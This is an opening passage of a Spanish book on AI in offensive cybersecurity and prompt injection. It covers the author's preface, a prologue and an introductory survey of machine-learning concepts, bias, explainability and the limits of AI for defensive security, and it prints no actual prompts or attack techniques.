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NOTA: El libro que tiene entre sus manos es un esfuerzo por mi parte en 

hacer accesible el conocimiento en inteligencia artificial aplicada al mundo 

de la ciberseguridad. Hago disponible gratuitamente esta obra para facilitar 

su mayor difusión y la preparación de profesionales ante esta temática de 

enorme impacto social 

Si desea contribuir al desarrollo de futuros libros o desea otros formatos 

más cómodos puede adquirir la versión original en formato papel y en 

formato e-book en Amazon en las siguientes direcciones:  

Papel: https://www.amazon.es/Seguridad-ofensiva-machine-learning-

injections/dp/B0C91HCGKM 

e-book: https://www.amazon.es/Seguridad-ofensiva-machine-learning-

injections-ebook/dp/B0CB1KQSJL 

 Espero que disfrute la lectura.  

Dr. Alfonso Muñoz  

Twitter: @mindcrypt  

Telegram: t.me/criptored  

Github: https://www.github.com/mindcrypt  

Linkedin: https://www.linkedin.com/in/alfonsomuñoz/ 
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“Yo iba hacia la comisaría, un día normal, una vida normal,  

el conductor de un tráiler se durmió al volante,  

un tipo corriente con esposa e hijos trabajando a doble turno,  

no era el diablo,  

invistió el coche de un tipo llamado Harold Lloyd,  

como la estrella de cine, no eran parientes,  

murió al instante, pero su hija de 12 años iba al lado  

no llegué a conocerla, pero no he olvidado su carita  

Sarah, esto era suyo (collar) quería ser dentista  

qué niña de 12 años quiere ser dentista,  

el camión arrolló los dos coches y nos echó al río,  

el metal es muy maleable a esas velocidades,  

estaba atrapada, yo también  

el agua empezó a entrar y soy poli así que sabía que de ahí no salíamos,  

nos quedaban unos minutos,  

un NS4 que pasaba por allí se tiró al agua  

y no lo hizo, me salvó a mí….  

Lo sé, elección lógica  

calculó que tenía un 45% de probabilidades,  

Sarah solo tenía un 11%  

era tan solo una niña…  

un 11% es suficiente, un ser humano lo habría sabido  

los robots no tienen nada aquí (corazón) solo luces y engranajes  

fíese de ellos si quiere…” 

 

 

Película Yo, robot (2004)  

Actor Will Smith 
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Prólogo 
 

Replicants are like any other machine –  

they're either a benefit or a hazard.  

If they're a benefit, it's not my problem... 

 

Rick Deckard, Blade Runner (1982) 

 

Estimado lector, si ahora mismo está leyendo estas líneas puede, que como 

yo, se debata entre la enorme utilidad de la inteligencia artificial en 

numerosos ámbitos de nuestra sociedad moderna y quizás le inquiete, o al 

menos esté desarrollando una opinión formada y crítica, sobre los riesgos 

inherentes, y en muchos casos no controlados, de esta tecnología antigua 

pero vitaminada con la posibilidad de acceso a grandes volúmenes de 

información, capacidades de computación hasta ahora no imaginadas y 

nuevos desarrollos algorítmicos, especialmente en el campo de las redes 

neuronales. 

 

El libro que tiene entre sus manos se centra en una temática muy concreta, 

en su uso en el campo de la ciberseguridad, y especialmente en las 

aplicaciones prácticas de los modelos LLM (Large Language Model), 

como es el caso del chatbot ChatGPT, aplicados a ciberseguridad. 

Lógicamente este conocimiento puede ser aplicado como defensa o ataque 

en función de quién lo utilice, así que gestiónelo con sabiduría. 

 

No les voy a esconder que soy bastante crítico en el uso o utilidad de la 

inteligencia artificial en el campo de la seguridad defensiva, especialmente 

en todos esos escenarios, más de los que me gustaría, que asumen 

entrenamientos estáticos, supervisados (o semi) y consideran de alguna 

manera un atacante poco sofisticado que no evoluciona en función de las 

medias defensivas desplegadas, en este caso basadas en IA. Lo anterior no 

implica que no pueda ser útil la inteligencia artificial (como defensa), de 

hecho, seguro que ha descubierto escenarios donde ha permitido 

automatizar procesos, estudiar comportamientos de atacantes u obtener 

algún tipo de inteligencia útil de datos o logs. Simplemente recuerde que 

muchas personas, entre las que me incluyo, en muchas ocasiones, 

encontramos ventajas en vulnerar sistemas simplemente porque la 

seguridad se apoya más en estas medidas, no siempre del todo 

comprendidas, frente a medidas clásicas de ciberseguridad, típicamente 

reduciendo mecanismos de autenticación y autorización conocidos y 

probados. Espero que no nos suceda lo que sabiamente analistas de 
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Crowdstrike reflejaron en su informe1 analizando el potencial de la 

inteligencia artificial en ciberseguridad: "Everyone talks about it, (but) 

nobody really knows how to do it. Everyone thinks everyone else is doing 

it, so everyone claims they are doing it." 

 

Con esta breve reflexión, lo que encontrará en las próximas páginas es un 

manual de rápido uso y consumo que le permitirá entender mejor lo que 

está sucediendo con el uso de la inteligencia artificial en el campo de la 

ciberseguridad y términos y tecnologías, tan útiles como criticadas, como 

puedan ser la disciplina de prompt engineering y tecnologías prácticas de 

nuevos modelos de IA accesible por chatbots como puede ser ChatGPT. 

 

El libro recopila números prompts, en inglés o español, y siempre con su 

justificada referencia al “inventor¨ del mismo cuando sea necesario, que le 

permitirá entender de un vistazo rápido la potencialidad de este tipo de 

tecnologías. Aunque los ejemplos son numerosos estos no dejan de ser 

limitados. Para incentivar su creatividad en la creación de prompts he 

recogido algunos de los frameworks de ciberseguridad habituales que 

utilizamos en organizaciones para ataque y defensa, seguro que basándose 

en ellos y en su área de experiencia será capaz de generar cientos de ellos 

de utilidad real en su día a día. 

 

Verá que en ocasiones utilizaré prompts directamente del inventor que 

pueden o no estar filtrados en la versión actual de una aplicación concreta 

(por ejemplo, en el chatbot ChatGPT). Estos ejemplos le permitirán ver 

como investigadores, en un proceso más de hacking, van adaptándose en 

función de cómo evoluciona la inteligencia artificial y aplicaciones 

concretas que usan LLMs específicos. El libro se centra en su uso del 

chatbot ChatGPT y su modelo LLM pero los mismos razonamientos 

pueden ser aplicados a otras aplicaciones que usen los mismos principios. 

 

Espero que comprenda la importancia que los nuevos modelos de 

inteligencia artificial van a tener en aplicaciones específicas y cómo su 

entendimiento y cómo operar con ellos/manipularlos puede tener impacto 

en la seguridad y privacidad de sistemas. 

 

Le deseo que aproveche la lectura y un buen happy hacking prompting. 

 

 
1 The rise of machine learning in cybersecurity, Crowdstrike white paper -

https://go.crowdstrike.com/rs/281-OBQ-266/images/WhitepaperMachineLearning.pdf 

?aliId=8202056 
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Capítulo 0. Breve introducción a la IA para profesionales 

perezosos 

          Mientras los necios deciden,  

    los inteligentes deliberan  

 

Plutarco 

 

La inteligencia artificial (IA), en el contexto de las ciencias de la 

computación, es una disciplina y un conjunto de capacidades cognoscitivas 

e intelectuales expresadas por sistemas informáticos o combinaciones de 

algoritmos cuyo propósito es la creación de máquinas que imiten la 

inteligencia humana para realizar tareas, y que puedan mejorar conforme 

recopilan información2. 

 

La historia de la inteligencia artificial no es ni mucho menos nueva, y 

aunque hay cierto debate sobre su origen, hay un consenso que la década 

de los 50 supone el inicio de ésta.  

 

Una referencia habitual es citar el trabajo de Alan Turing en 1950 en la 

revista filosófica Mind titulado Computing machinery and intelligence 

donde ahondaba sobre la posibilidad de la inteligencia artificial haciéndose 

una sencilla y transcendental pregunta: ¿Pueden las máquinas pensar? Esta 

reflexión daría lugar a la de sobra conocida prueba del Test de Turing3. 

Como puede imaginar desde entonces muchas cosas han evolucionado 

alrededor de esta apasionante disciplina4. 

 

Numerosos términos y técnicas han invadido nuestro día a día alrededor de 

la inteligencia artificial. Probablemente el siguiente esquema le permitirá 

situar rápidamente los términos habituales en esta apasionante evolución. 

 

 
2 https://es.wikipedia.org/wiki/Inteligencia_artificial 
3 La prueba de Turing o test de Turing es una herramienta de evaluación de la capacidad 

de una máquina para exhibir un comportamiento inteligente similar al de un ser humano 

o indistinguible de éste - https://es.wikipedia.org/wiki/Prueba_de_Turing 
4https://www.xataka.com/robotica-e-ia/test-turing-no-sirve-siete-pruebas-alternativas-

para-comprobar-que-ia-no-humano 
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Ilustración 1. Términos habituales en el campo de la inteligencia artificial 

Una cuestión que se deduce rápidamente de la imagen anterior es que 

cuando concretamos la inteligencia artificial en aplicaciones específicas 

hacemos uso de determinadas técnicas, y es aquí donde tiene especial uso 

la disciplina de machine learning. El machine learning es una disciplina de 

la inteligencia artificial que facilita la implementación de ésta, típicamente 

en software, para que pueda aprender y evolucionar de forma autónoma. 

 

El machine learning dispone de diferentes mecanismos para afrontar o 

solucionar problemas. Los principales, los que encontrará en cualquier 

referencia a esta disciplina, son: 

 

- Aprendizaje supervisado (clasificación/regresión). Se define por el uso 

de conjuntos de datos etiquetados para entrenar algoritmos que clasifiquen 

datos o predigan resultados de forma precisa. A medida que los datos se 

introducen en el modelo, este ajusta sus ponderaciones hasta que dicho 

modelo se haya ajustado adecuadamente, lo que ocurre como parte del 

proceso de validación cruzada5. Suelen ser unas técnicas muy precisas si 

los datos son más o menos estáticos y el supervisor (humano) tiene un 

conocimiento adecuado del contexto de estos. 

 

- Aprendizaje no supervisado. Se define por el uso de algoritmos que 

permiten extraer conocimiento de datos sin etiquetar y principalmente 

 
5 La validación cruzada o cross-validation es una técnica utilizada para evaluar los 

resultados de un análisis estadístico y garantizar que son independientes de la partición 

entre datos de entrenamiento y prueba. Consiste en repetir y calcular la media aritmética 

obtenida de las medidas de evaluación sobre diferentes particiones. Se utiliza en 

entornos donde el objetivo principal es la predicción y se quiere estimar la precisión de 

un modelo que se llevará a cabo a la práctica. Es una técnica muy utilizada en proyectos 

de inteligencia artificial para validar modelos generados -

https://es.wikipedia.org/wiki/Validación_cruzada 



Seguridad ofensiva en machine learning. +100 prompts injections en ChatGPT 

  Página | 12 

dinámicos. Habitualmente las técnicas se apoyan en la agrupación y 

clusterización en conjuntos diferentes de los datos a analizar6. 

 

- Aprendizaje por refuerzo (reinforcement learning). Estrategias que 

guían su propio aprendizaje a través de recompensas y castigos. Es decir, 

consiste en un sistema de instrucción autónomo cuyo camino es indicado 

según sus aciertos y errores. Consta de un aprendizaje empírico, por lo 

que el agente informático está en constante búsqueda de aquellas decisiones 

que le premien de algún modo, a la par que evita aquellos caminos que, por 

experiencia propia, son penalizados. Normalmente esto lo verá en forma de 

funciones de optimización y sobre todo en su uso en diferentes modalidades 

de redes neuronales. En la última década, algunos de los hitos más 

significativo en el campo del machine learning se han conseguido gracias 

a esta aproximación. 

 

El resultado de estos entrenamientos dará lugar a los conocidos como 

modelos de entrenamiento que suelen consistir simplemente en ficheros 

informáticos que almacenan números o pesos con los resultados de aplicar 

determinados algoritmos matemáticos, siendo estos modelos entrenados 

para realizar una de las siguientes tareas: 

 

- Clasificación. Las salidas el modelo toman un número finito de valores. 

A las salidas se les asigna típicamente una etiqueta. 

 

- Regresión. Las salidas del modelo toman un número infinito de valores. 

Por ejemplo, predecir la temperatura en un momento dado. 

 

En las últimas décadas, estos mecanismos se han mostrado especialmente 

útiles para resolver problemas específicos en contextos concretos, tantos 

que el ecosistema de empresas haciendo uso de IA se ha disparado7. La 

siguiente figura le permitirá ver algunos de los contextos más exitosos. 

Muchos de ellos tienen un impacto directo en nuestras vidas (análisis y 

tratamiento de contenido multimedia, traductores, optimizadores, etc.). 

Quizás, echará en falta aplicaciones en el campo de la ciberseguridad. 

Tenga paciencia, de eso hablaremos en el capítulo siguiente. 

 

 
6 https://es.wikipedia.org/wiki/Aprendizaje_no_supervisado 
7 https://www.oreilly.com/content/the-current-state-of-machine-intelligence-3-0/ 
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Ilustración 2. Aplicaciones prácticas de machine learning en función de su técnica de 

entrenamiento 

En función del reto a resolver y del aprendizaje concreto seleccionado 

necesitará utilizar o probar diferentes aproximaciones algorítmicas. No se 

engañe, aunque la experiencia le guiará en este camino, en muchas 

ocasiones deberá probar diferentes técnicas/modelos y puede que el 

resultado esperado no sea el que esperaba. Entre las aproximaciones 

algorítmicas más conocidas y que suelen dar buenos resultados, están los 

clasificadores lineales, clasificadores bayesianos, árboles de decisión, 

máquinas de vector soporte (SVM), k-means, redes neuronales8, etc. 

 
8 Las redes neuronales artificiales son un modelo computacional evolucionado a partir 

de diversas aportaciones científicas que están registradas en la historia. Consiste en un 

conjunto de unidades, llamadas neuronas artificiales, conectadas entre sí para 

transmitirse señales. La información de entrada atraviesa la red neuronal (donde se 

somete a diversas operaciones) produciendo unos valores de salida. Cada neurona está 

conectada con otras a través de unos enlaces. En estos enlaces el valor de salida de la 

neurona anterior es multiplicado por un valor de peso. Estos pesos en los enlaces pueden 

incrementar o inhibir el estado de activación de las neuronas adyacentes. Del mismo 

modo, a la salida de la neurona, puede existir una función limitadora o umbral, que 

modifica el valor resultado o impone un límite que no se debe sobrepasar antes de 

propagarse a otra neurona. Esta función se conoce como función de activación. Estos 

sistemas aprenden y se forman a sí mismos, en lugar de ser programados de forma 

explícita, y sobresalen en áreas donde la detección de soluciones o características es 

difícil de expresar con la programación convencional. Para realizar este aprendizaje 

automático, normalmente, se intenta minimizar una función de pérdida que evalúa la 
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Si desea saber más sobre esta apasionante disciplina, le recomiendo estos 

cursos gratuitos, probablemente los mejores, que le permitirán obtener un 

conocimiento muy amplio. Eso sí, lo pagará con su esfuerzo. Al final, nada 

es realmente ¨gratis¨. 

 

- Machine Learning Specialization por Andrew Ng Stanford University - 

https://www.coursera.org/specializations/machine-learning-introduction 

#courses 

- Deep learning Specialization por Andrew Ng Stanford University - 

https://www.coursera.org/specializations/deep-learning#courses 
 

- Generative AI learning path 

https://www.cloudskillsboost.google/paths/118 

Si le interesa el mundo de las redes neuronales, donde observará 

rápidamente numerosos resultados prácticos en los últimos años, 

adicionalmente a los cursos anteriores, le recomiendo estos dos recursos. 

Para mi fueron de gran utilidad en el diseño de redes prácticas en 

ciberseguridad. 

 

-The neural network zoo y simulador de redes neuronales 

https://www.asimovinstitute.org/neural-network-zoo/ 

http://playground.tensorflow.org/ 

 

 

Ilustración 3. Simulador de configuración de redes neuronales 

 

red en su total. Los valores de los pesos de las neuronas se van actualizando, buscando 

reducir el valor de la función de pérdida. Este proceso se realiza mediante la 

propagación hacia atrás - https://es.wikipedia.org/wiki/Red_neuronal_artificial 
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Ilustración 4. Ejemplos de esquemas de redes neuronales. Cada tipo de red suele ser 

adecuada para resolver problemas específicos. 
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Por último, un último recurso en cuanto a redes neuronales que le resultará 

necesario para entender muchos de los avances en múltiples disciplinas, 

entre ellas en su impacto a la ciberseguridad. Estoy hablando lógicamente 

de las redes GAN (Generative Adversarial Nets)9 introducidas en 2014 por 

Ian Goodfellow. 

 

 

Ilustración 5. Esquema de una red generativa adversaria formada por un generador y 

un discriminador 

Las redes GAN son una propuesta de aprendizaje no supervisado que suele 

hacer uso de redes neuronales enfrentadas, que compiten en una especie de 

juego de suma cero. Lo interesante de esta propuesta es que la red GAN 

aprende a crear/asignar elementos cada vez mejor y a su vez a 

discriminarlo, en una especie de juego sin fin con las redes que se auto 

mejoran mediante estrategias de retro propagación (aprendizaje por 

refuerzo). Como verá posteriormente, esta aproximación se ha mostrado de 

una enorme utilidad para crear redes neuronales que permiten crear 

contenido o ataques de una calidad impresionante. 

 

Una vez situados en el interés creciente y aplicabilidad de la inteligencia 

artificial, me gustaría que pusiéramos el foco, al menos durante un espacio 

breve de tiempo, en el análisis de su potencial y riesgos inherentes. Para 

 
9 Generative Adversarial Nets - https://proceedings.neurips.cc/paper_files/paper/2014/ 

file/5ca3e9b122f61f8f06494c97b1afccf3-Paper.pdf 
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introducir esta circunstancia permítanme que me apoye en dos escenarios, 

diferentes, pero muy esclarecedores. 

 

ESCENARIO 1. Con suficientes datos tendremos respuestas a 

cualquier pregunta 

 

La mejor manera de expresar esta cuestión la podemos ver en la exposición 

que el editor jefe de la revista Wired, Chris Anderson10, reflexionó hace 

unos años y que me permito hacer una traducción más o menos literal de 

algunos párrafos: 

 

“Éste es un mundo donde cantidades masivas de datos y matemáticas 

aplicadas reemplazan a cualquier otra herramienta que se pueda aplicar. 

Olvidémonos de las teorías del comportamiento humano, de la lingüística 

a la sociología. Olvidemos las taxonomías, las ontologías y la psicología. 

¿Quién sabe por qué la gente hace lo que hace? Lo importante es que lo 

hacen y que podemos seguirlo y medirlo con una fidelidad sin precedentes. 

Con suficientes datos, los números hablan por sí mismos…¨ 

 

¨Ahora hay una manera mejor. Los petabytes nos permiten afirmar: ¨La 

correlación es suficiente¨. Podemos dejar de buscar modelos. Podemos 

analizar los datos sin hipótesis previas sobre lo que nos mostrarán. 

Podemos enviar los números a los mayores clústeres de computación que 

se han visto nunca y dejar que los algoritmos estadísticos encuentren 

patrones allá donde la ciencia no puede…¨ 

 

ESCENARIO 2. Sesgos, explicabilidad e imprecisiones de la ciencia de 

datos y la inteligencia artificial. El ser humano como condicionante 

 

El principal problema del escenario 1, como ha sucedido históricamente 

con otras tecnologías, es asumir que la inteligencia artificial en general, o 

el machine learning en particular, pueden llegar a solucionar cualquier 

escenario sin llegar a entender la casuística especifica del contexto a 

analizar o el mundo real y cómo estos algoritmos influyen en la vida real 

de personas. Asumo que como cualquier otra tecnología es cuestión de 

tiempo que se vayan aclarando sus dudas para un uso responsable de esta 

disciplina. En este punto me gustaría destacar simplemente algunos 

conceptos que debe tener siempre en mente a la hora de aplicar inteligencia 

artificial. 

 

 
10 The End of Theory: The Data Deluge Makes the Scientific Method Obsolete - 

https://www.wired.com/2008/06/pb-theory/ 
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- La inteligencia artificial falla11, y puede fallar por muchos motivos12, o 

evolucionar de manera inesperada13 en su interacción con el mundo real. 

No se confíe y tome todas las medidas de salvaguardas necesarias. 

 

- Sesgos14: La RAE define sesgo como un error sistemático en el que se 

puede incurrir cuando al hacer muestreos o ensayos se seleccionan o 

favorecen unas respuestas frente a otras. Los modelos de machine learning 

se entrenan con datos y estos pueden estar sesgados. Introducir 

comportamientos sexistas, racistas, limitados, etc. Eso tiene una 

implicación enorme en su uso por la sociedad, además podría tener impacto 

en cuestiones de funcionalidad. Imagine un software de reconocimiento 

facial que no le reconoce si usted es negro. Estos últimos años se ha 

desarrollado un enorme esfuerzo por detectar y corregir modelos que 

presenten este comportamiento. Si tiene tiempo le recomiendo 

encarecidamente el documental Sesgo codificado15 disponible en la 

plataforma de streaming Netflix. 

 

- Explicabilidad. Los modelos de machine learning actúan como una caja 

negra. Los algoritmos deducen un comportamiento y toman decisiones en 

base a él. El principal problema es que no podemos explicar por qué toman 

una decisión frente a otras desde unos datos más o menos amplios y 

abstractos. Aquí surge una pregunta importante: ¿queremos que nuestra 

sociedad dependa de tecnología que toma decisiones que tienen un impacto 

en nuestras vidas sin entender por qué toman esas decisiones? Es una 

pregunta muy importante y por eso en estos últimos años hay un esfuerzo 

inmenso en intentar explicar por qué los modelos de machine learning 

deducen unas cosas u otras. De no ser así, y aunque tuviéramos los mejores 

algoritmos disponibles, es probable, y creo que es acertado, la ley debería 

impedir su uso. Permítanme solo un ejemplo. El artículo 2216 de la ley 

RGDP en Europa (Decisiones individuales automatizadas, incluida la 

elaboración de perfiles) índica “aquellas decisiones que impacten 

 
11Artificial Intelligence Safety and Cybersecurity: a Timeline of AI Failures - 

https://arxiv.org/ftp/arxiv/papers/1610/1610.07997.pdf y AI Failures: A Review of 

Underlying Issues - https://arxiv.org/ftp/arxiv/papers/2008/2008.04073.pdf 
12 https://arstechnica.com/science/2014/03/researchers-warn-against-the-rise-of-big-

data-hubris/ 
13 http://www.telegraph.co.uk/technology/2016/03/24/microsofts-teen-girl-ai-turns-

into-a-hitler-loving-sex-robot-wit 
14 Google Apologizes For Tagging Photos Of Black People As ‘Gorillas' 

https://petapixel.com/2010/01/22/racist-camera-phenomenon-explained-almost/ 
15 https://www.netflix.com/es/title/81328723 - https://www.xataka.com/cine-y-

tv/sesgo-codificado-este-documental-netflix-se-pregunta-ias-pueden-tener-prejuicios-

respuesta-tiene-alcance-aterrador 
16 https://www.privacy-regulation.eu/es/22.htm 
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significativamente en la vida de los ciudadanos (por ejemplo, concesión de 

un crédito) deben poder ser razonadas y puede solicitarse la revisión por 

un humano ...”. No es suficiente la correlación, se necesita causalidad. 

 

Independientemente de cuál sea su opinión y de cómo evolucionen estos 

hechos, la inteligencia artificial ha levantado otras dudas que cubren el 

impacto en muchas facetas de nuestra sociedad moderna, desde la 

productiva y económica17 hasta cuestiones intrínsecamente morales o 

legales de las que un ser humano tendría difícil obtener una respuesta18. 

Pero sin duda, la pregunta más mencionada de todas está relacionada con 

el término de la singularidad19. 

 

Desde un punto de vista simplificado entendemos por singularidad 

tecnológica a aquel momento en el que la inteligencia artificial podría 

realizar o superar al ser humano en actividades intelectuales que 

permitieran resolver problemas o escenarios complejos. Esto en principio, 

siendo optimistas, sería una auténtica revolución tremendamente positiva 

para la humanidad, pero lógicamente, sin un control adecuado, podría 

desencadenar en efectos tremendamente negativos e incluso, para los más 

pesimistas, la destrucción de la raza humana. Esto ha hecho que numerosos 

científicos estén avisando de la necesidad de tomarse un tiempo y parar los 

avances en inteligencia artificial. Probablemente estemos en un momento 

similar, y permítanme la comparación, a cuando en el proyecto Manhattan 

en el desarrollo de la bomba atómica se analizó si su explosión poderosa 

podía quemar la atmosfera. En resumen, ¿somos capaces de controlar la IA 

que auto evoluciona? 

  

 
17 Tax not the robots - https://www.brookings.edu/research/tax-not-the-robots/ 
18 http://www.robolaw.eu y http://moralmachine.mit.edu 
19 La singularidad tecnológica es el advenimiento hipotético de inteligencia artificial 

general (también conocida como «inteligencia artificial fuerte», del inglés strong AI). 

La singularidad tecnológica implica que un equipo de cómputo, red informática o un 

robot puedan ser capaces de auto mejorarse recursivamente, o en el diseño y 

construcción de computadoras o robots mejores que él mismo. Se dice que las 

repeticiones de este ciclo probablemente darían lugar a un efecto fuera de control —una 

explosión de inteligencia— donde las máquinas inteligentes podrían diseñar 

generaciones de máquinas sucesivamente más potentes. La creación de inteligencia 

sería muy superior al control y la capacidad intelectual humana - 

https://es.wikipedia.org/wiki/Singularidad_tecnol%C3%B3gica 
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Ilustración 6. Experimento de redes neuronales cooperando o atacándose en función 

de más o menos recursos disponibles -https://www.bloomberg.com/news/articles/ 

2017-02-09/google-deepmind-researches-why-robots-kill-or-cooperate 

Una frase atribuida al científico Niels Bohr, no sin cierto humor, nos dice 

que “es difícil hacer predicciones, especialmente del futuro” y quizás no 

esté muy desencaminada, especialmente si pensamos en una fecha para la 

singularidad. Las estimaciones van cambiando, el progreso es exponencial 

lo que dificulta la predicción, pero probablemente una de las estimaciones 

más pesimistas razonables se puede leer del estudio del Future of Humanity 

Institute (universidades de Oxford y Yale, 2017) en la que podemos leer20: 

 

¨Researchers predict AI will outperform humans in many activities in the 

next ten years, such as translating languages (by 2024), writing high-

school essays (by 2026), driving a truck (by 2027), working in retail (by 

2031), writing a bestselling book (by 2049), and working as a surgeon (by 

2053). Researchers believe there is a 50% chance of AI outperforming 

humans in all tasks in 45 years and of automating all human jobs in 120 

years…¨ 

 

Aunque lógicamente ya hay resultados que han llamado mucho la atención, 

especialmente en la resolución de problemas en juegos. Desde ejemplos 

más o menos sencillos, a algoritmos de gran complejidad en el caso del 

ajedrez21 o GO22. 

 
20 https://www.fhi.ox.ac.uk/will-ai-exceed-human-performance-evidence-ai-experts/ 
21 https://en.wikipedia.org/wiki/Deep_Blue_(chess_computer) 
22Mastering the game of Go without human knowledge -

https://www.nature.com/articles/nature24270.epdf y https://www.xataka.com/cine-y-

tv/alphago-es-el-documental-de-netflix-que-mejor-explica-lo-que-supuso-la-victoria-

de-la-ia-de-google-al-campeon-de-go 



Seguridad ofensiva en machine learning. +100 prompts injections en ChatGPT 

  Página | 21 

 

 

Ilustración 7. Ejemplos de uso de IA para la resolución de videojuegos de manera 

sobresaliente - https://github.com/openai/baselines 

 

Ilustración 8. Jugadas maestras de AlphaGO frente al campeón Lee Sedol - 

https://www.youtube.com/watch?v=HT-UZkiOLv8 

En este punto, creo que tiene una breve noción de lo que es la inteligencia 

artificial y de cómo nos va a impactar. Hablemos ahora de su uso en 

ciberseguridad. 
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Capítulo 1. Seguridad Ofensiva e inteligencia artificial 
 

"Hagamos un trato: Tú pídele a tu Dios  

que te salve y yo te seguiré golpeando  

hasta que Él aparezca"  
 

El conde de Montecristo (1934) 

 

El capítulo anterior abordaba resumidamente las cualidades de la 

inteligencia artificial que la hacen apta en su aplicación a numerosos 

escenarios prácticos. Lógicamente, en las últimas décadas, la 

ciberseguridad también ha buscado el uso de sus aparentes propiedades 

beneficiosas para solucionar o al menos descubrir nuevas aproximaciones 

a problemas clásicos de la ciberseguridad, entre ellos la detección de 

ataques o mejores propuestas de mecanismos de autenticación o 

autorización. Todo esto ha propiciado que numerosos investigadores y 

compañías intenten aplicar las técnicas de machine learning, con mayor o 

menor éxito, a diferentes disciplinas dentro del campo de la ciberseguridad 

(defensiva). Entre ellas, en su terminología en inglés, destacan: 

 

Data security. Centrada en mecanismos que ayuden en la protección de la 

información. Es habitual ver propuestas en el ámbito de la clasificación de 

datos, etiquetado e inventariado de los mismos, combatiendo la fuga de 

información. 

 

Access control (autenticación / autorización). Mecanismos “inteligentes” 

de autenticación, autorización, identificación y perfilado. Especialmente 

interesantes en mecanismos de seguridad basados en biometría. 

 

Security architecture & design security operations. Creación de 

recomendaciones o buenas prácticas para el diseño de tecnologías seguras. 

Incluye la automatización de la gestión de la configuración de sistemas, 

asignación inteligente de recursos, verificación técnica, etc. 

 

Software Development Security. Todas aquellas técnicas y procesos que 

facilitan el desarrollo seguro de software. 

 

Information Security Governance & Risk Management & 

Compliance. Gestión y asesoría. 

 

Telecommunications & Network Security. Esta disciplina ha sido una de 

las clásicas donde las técnicas de machine learning han intentado 

desarrollar nuevas aproximaciones defensivas. Entre los casos de usos 

habituales está el análisis de tráfico/logs (IDS, IPS, etc.) para detectar 
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ataques o comportamientos indebidos en una red u organización. En esta 

línea encontrará la disciplina UEBA23 (Entity Behaviour Analytics) donde 

el uso del machine learning cobra todo el sentido. 

 

Fraud detection and malware prevention. Las técnicas de machine 

learning son especialmente capaces de detectar patrones, si estos pueden 

ser caracterizados con anterioridad. Un escenario donde presentan gran 

utilidad es en la detección de código malicioso, detección de phishing o, en 

general, comportamiento fraudulento. Al menos, si el atacante no es muy 

capaz. 

 

Si se para a pensar en las disciplinas anteriores es lógico evaluar, al menos, 

si las técnicas de machine learning pueden o no tener un impacto real en la 

mejora de las medidas defensivas de ciberseguridad. Si se está planteando 

su uso, o si ya lo ha experimentado desde múltiples puntos de vista, como 

es mi caso, debe recordar que el uso del machine learning en ciberseguridad 

defensiva real tiene unos limitantes importantes que hay que solventar. 

Permítame citárselos y reflexionar brevemente sobre ellos, quizás le 

permita comprender mejor si merece la pena o no dedicar esfuerzos al 

análisis del impacto del uso de la inteligencia artificial en su caso de uso 

defensivo concreto. 

 

Lista de restricciones en el uso de la inteligencia artificial en la seguridad 

defensiva: 

 

1. Cantidad vs calidad de los datos – Dominio de aplicación 

 

La ciberseguridad es una disciplina que ofrece situaciones difíciles de 

abordar desde el punto de vista de la inteligencia artificial. En muchas 

ocasiones se dispone de muestras o comportamientos “buenos” pero no se 

dispone de información para modelar un comportamiento malicioso. Piense 

en un APT o ataque del que no tenemos ningún tipo de conocimiento 

previo. ¿Cómo lo detectamos? La propuesta habitual de la industria ha sido 

mediante el análisis de comportamiento o dicho de otra forma, dado que no 

puedo medir lo malo detectaré como raro aquello que no se parezca a lo 

que tengo identificado como bueno. Esta aproximación es cuanto menos 

dudosa, además de inundar los SOCs de falsos positivos, especialmente si 

asumimos un contexto dinámico en el que los datos de entrenamiento no 

permanecen verdaderos en un espacio de tiempo medio-largo. Qué hacer 

en esa situación, donde la cantidad de datos y su calidad caduca 

rápidamente, pues es un reto sin una solución genérica. Hasta no hace 

 
23 https://en.wikipedia.org/wiki/User_behavior_analytics 
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mucho parece que era un problema sin solución, hoy día con el avance en 

algoritmia en redes neuronales y mayores capacidades de cómputo se tiene 

cierta esperanza en poder mejorar las aproximaciones que desde el punto 

de vista de la inteligencia artificial llevamos haciendo 30 años. Si le soy 

sincero, a día de escribir estas líneas, todavía sigo escéptico. Ansioso de ver 

avances en esta dirección. 

 

2. Entrenamiento estático – Limitaciones del aprendizaje supervisado 

 

Durante mucho tiempo hubo un mito asociado a la disciplina del machine 

learning: “entrénalo una vez y olvídate…” o quizás “revisarlo cada N 

meses”. Como buen lector avezado que es sabe que esta aproximación no 

es útil en escenarios donde la información cambia con velocidad, en 

múltiples tipos de tráficos de red por ejemplo o atacantes, o en escenarios 

donde no es evidente el etiquetado de información para el posterior 

entrenado de modelos. O simplemente se asume un comportamiento del 

atacante estático que no evolucionará e introducirá manipulaciones para 

engañar y alterar el proceso de cualquier aprendizaje basado en machine 

learning. En resumen, si sus medidas de seguridad se basan exclusivamente 

en un entrenamiento estático con una alta probabilidad su protección se 

verá reducida o anulada en un espacio de tiempo corto. Procedimientos 

basados en el aprendizaje continuo y no supervisado es la estrategia, 

aunque difícil, adecuada a perseguir. 

 

3. Privacidad de los modelos y de los datos 

 

Esta problemática, iniciada hace algunos años, pone foco no en el resultado 

de la inteligencia artificial sino en los elementos que la constituyen y las 

precauciones necesarias que pueden afectar, como un riesgo más a 

considerar, en nuestra postura de ciberseguridad. Los modelos de machine 

learning necesitan datos para ser entrenados y esos datos debe 

proporcionarse a sistemas, típicamente terceros, para que realicen grandes 

operaciones computaciones, calculando el modelo final. En función del 

proveedor, por ejemplo cloud, etc., los datos podrían estar expuestos, 

robados o manipulados. La alteración de estos datos podría permitir a un 

atacante replicar el modelo de entrenamiento para futuros ataques o 

manipularlo para facilitar puertas traseras.  

 

Adicionalmente, el modelo de machine learning se convierte en un 

elemento nuclear en cualquier mecanismo defensivo basado en machine 

learning. Por tanto, su acceso, manipulación u obtención debe estar 

auditado según las políticas de seguridad y gestión de riesgo aceptadas en 

una organización. 
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4. Limitación en la especialización de los algoritmos de detección. En 

búsqueda de la IAG24 en ciberseguridad 

 

A la inteligencia artificial “clásica” le resulta muy complicado evaluar 

problemas sobre ciberseguridad de una manera global y holística. Este 

comportamiento no es nada extraño, al ser humano también le cuesta 

mucho, tanto, que hace tiempo nos dimos cuenta de que la mejor manera 

de abordar problemas de seguridad es mediante una aproximación de 

seguridad en profundidad. Capas de cebolla, donde en cada capa definimos 

medidas de seguridad más o menos simples y más o menos fáciles de 

auditar y comprender. La unión hace la fuerza. Esto se ha demostrado en 

las últimas décadas como una propuesta inteligente frente a sistemas de 

ciberseguridad complejos monocapa. En este entorno, en la 

especialización, el machine learning podría llegar a aportar mucho. El reto 

